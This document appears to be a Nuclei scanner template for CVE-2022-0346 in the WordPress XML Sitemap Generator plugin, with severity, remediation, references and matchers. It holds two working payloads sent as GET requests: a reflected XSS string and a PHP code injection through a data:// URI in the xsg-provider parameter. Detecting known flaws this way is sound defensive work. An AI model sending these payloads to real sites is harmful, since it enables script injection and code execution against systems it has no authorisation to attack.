WordPress XML Sitemap Generator for Google plugin before 2.0.4 contains a cross-site scripting vulnerability that can lead to remote code execution. It does not validate a parameter which can be set to an arbitrary value, thus causing cross-site scripting via error message or remote code execution if allow_url_include is turned on.
PoC代码[已公开]
id: CVE-2022-0346
info:
name: WordPress XML Sitemap Generator for Google <2.0.4 - Cross-Site Scripting/Remote Code Execution
author: Akincibor,theamanrawat
severity: medium
description: |
WordPress XML Sitemap Generator for Google plugin before 2.0.4 contains a cross-site scripting vulnerability that can lead to remote code execution. It does not validate a parameter which can be set to an arbitrary value, thus causing cross-site scripting via error message or remote code execution if allow_url_include is turned on.
impact: |
Successful exploitation of these vulnerabilities could allow an attacker to execute arbitrary code on the affected system or inject malicious scripts into web pages viewed by users.
remediation: |
Update the WordPress XML Sitemap Generator for Google plugin to version 2.0.4 or later to mitigate the XSS and RCE vulnerabilities.
reference:
- https://wpscan.com/vulnerability/4b339390-d71a-44e0-8682-51a12bd2bfe6
- https://wordpress.org/plugins/www-xml-sitemap-generator-org/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0346
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0346
cwe-id: CWE-79
epss-score: 0.06393
epss-percentile: 0.90651
cpe: cpe:2.3:a:xmlsitemapgenerator:xml_sitemap_generator:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: xmlsitemapgenerator
product: xml_sitemap_generator
framework: wordpress
tags: cve2022,cve,wpscan,wp,wordpress,wp-plugin,xss,www-xml-sitemap-generator-org,xmlsitemapgenerator
http:
- method: GET
path:
- '{{BaseURL}}/?p=1&xsg-provider=%3Cimg%20src%20onerror=alert(document.domain)%3E&xsg-format=yyy&xsg-type=zz&xsg-page=pp'
- '{{BaseURL}}/?p=1&xsg-provider=data://text/html,<?php%20echo%20md5("CVE-2022-0346");%20//&xsg-format=yyy&xsg-type=zz&xsg-page=pp'
stop-at-first-match: true
matchers:
- type: word
part: body_1
words:
- "<img src onerror=alert(document.domain)>"
- "Invalid Provider type specified"
condition: and
- type: word
part: body_2
words:
- "2ef3baa95802a4b646f2fc29075efe34"
# digest: 4a0a0047304502202ad97c717aea6559a36d35a48cba688d538eeb55bb092a09e299312e56032def022100c09e13128d49e1b3e7c295c95126dc5c9bf629c6211bc48f8fe2c6397cb96c27:922c64590222798bb761d5b6d8e72950